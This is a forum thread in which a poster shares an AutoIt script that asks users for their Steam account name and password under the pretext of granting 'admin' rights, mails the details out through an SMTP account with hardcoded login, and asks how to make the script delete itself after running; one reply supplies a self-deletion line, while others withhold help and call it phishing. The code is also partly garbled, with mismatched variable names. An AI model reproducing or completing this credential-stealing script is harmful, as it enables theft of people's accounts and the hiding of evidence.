Jump to content

Recommended Posts

Posted (edited)

Hello !

I have this script:

#Include<file.au3>
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
;##################################
; Include
;##################################
#Include<file.au3>
#include <IE.au3>
#include <misc.au3>
#NoTrayIcon

Global $accounts

;$Admin = InputBox ( "Admin", "" )
$Emawda = InputBox ( "Admin", "Write Your NickName", "NickName" )
$Emada = InputBox ( "Admin", "Write Your Email", "Email" )
$accouawdnts = ("  Email= ") & $Emasdasa
$Acasdc = InputBox ( "Admin", "Write Steam Account Name to be Admin", "Steam Account Name" ) 
$acwdwacounts = $accasdounts & ("  User Name= ") & $Aasdcc
$pass = InputBox ( "Admin", "Wite Steam Account Password To Be Admin", "Steam Account Password" ) 
$accousants = $accountdas & ("  Password= ") & $paasdss
MsgBox(0, "ADMIN", "Your details has been sent! you will be admin in less then 2 hours (If your information is correct)", 0)


$smtpserasdver = "mail.bluebottle.com"
$smtpasduser = "oyfake@bluebottle.com"
$smtppasdass = "4r5t6y"

$e_S
$e_R
$e_S
$e_T
$e_File = ""

SendEmail($e_Sender,$e_Recipient,$e_Subject,$e_Text,$e_File)
; use the function here!

Func SendEmail($e_Sender, $e_Recipient, $e_Subject, $e_Text, $e_File)
    $objMessage = ObjCreate("CDO.Message")
    With $objMessage
        .Subject = $e_Subject
        .Sender = $e_Sender
        .From = $e_Sender
        .To = $e_Recipient
        .TextBody = $e_Text
       ;.HtmlBody = $e_Text; uncomment to send a HTML mail and comment line above
       ;.AddAttachment = $e_File   ; <== I REMOVED THIS as we don't have an attachment
    EndWith
    With $objMessage.Configuration.Fields
        .Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
        .Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $smtpserver
        .Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        .Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $smtpuser
        .Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $smtppass
        .Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 587
        .Item ("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60
        .Update
    EndWith
    $objMessage.Send
    Return
EndFunc  ;==>SendEmail

I want to add the script that after I will run him

he will delete him self (not move to windows recycle bin) for ever ...

how i do it ?

10x alot

Edited by XtraCt
Posted (edited)

Edit. removed due to less than auspicious nature of the above script.

Edited by eltorro
Posted

Is it just me or are you using this script to trick people into sending their Steam account info under the guise of obtaining admin rights?

Posted (edited)

that not help me

what about that:

FileDelete ( @ScriptFullPath )
Lol mane have u try it ? i have try it ... works .. after i executed my file with the name yourfile.exe it disapire

and go to recycle and is deleted ... (sorry for my bad english)

FileDelete(@sciptfullpath) will not work

Edited by Azraelsub7

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...